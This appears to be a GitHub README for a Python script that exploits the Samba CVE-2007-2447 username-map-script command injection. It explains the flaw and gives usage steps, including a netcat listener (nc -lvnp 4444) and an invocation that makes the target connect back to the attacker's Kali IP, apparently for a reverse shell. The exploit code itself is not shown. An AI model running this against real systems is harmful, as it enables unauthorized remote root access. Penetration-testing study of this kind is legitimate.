
Samba CVE-2007-2447 Exploit
This repository contains a Python script designed to automate the exploitation of the CVE-2007-2447 vulnerability on Samba servers (versions 3.0.20 to 3.0.25rc3). This tool has been developed for strictly educational purposes and authorized penetration testing.
The "Username Map Script" vulnerability occurs due to the lack of sanitization in user name input when the username map script option is enabled in the Samba configuration. By sending a username containing shell metacharacters (such as backticks ` or sub-shells $()), the server executes those commands with the privileges of the service (often root).
smbclient installed).smbclient (must be available in the system PATH).git clone [https://github.com/Daviddoctor/Samba-CVE-2007-2447-Exploit-Username-Map-Script-.git]
cd samba-exploit-cve-2007-2447
chmod +x exploit.py
nc -lvnp 4444
./exploit.py <TARGET_IP> <YOUR_KALI_IP> -p 4444